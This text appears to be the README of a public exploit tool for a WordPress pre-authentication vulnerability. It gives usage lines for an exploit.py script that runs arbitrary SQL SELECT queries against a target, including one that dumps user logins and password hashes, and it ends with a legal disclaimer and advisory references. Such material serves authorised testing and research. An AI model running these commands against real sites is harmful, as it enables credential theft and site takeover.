Usage

# Run any SELECT
python3 exploit.py http://TARGET "SELECT @@version"

# Dump wp_users (login + password hash)
python3 exploit.py http://TARGET "SELECT GROUP_CONCAT(user_login,0x3a,user_pass SEPARATOR 0x0a) FROM wp_users"

Legal

For authorized security testing and education only. Use exclusively against systems you own or have explicit written permission to test.

References

• Searchlight Cyber / Assetnote — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
• WordPress 7.0.2 release — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/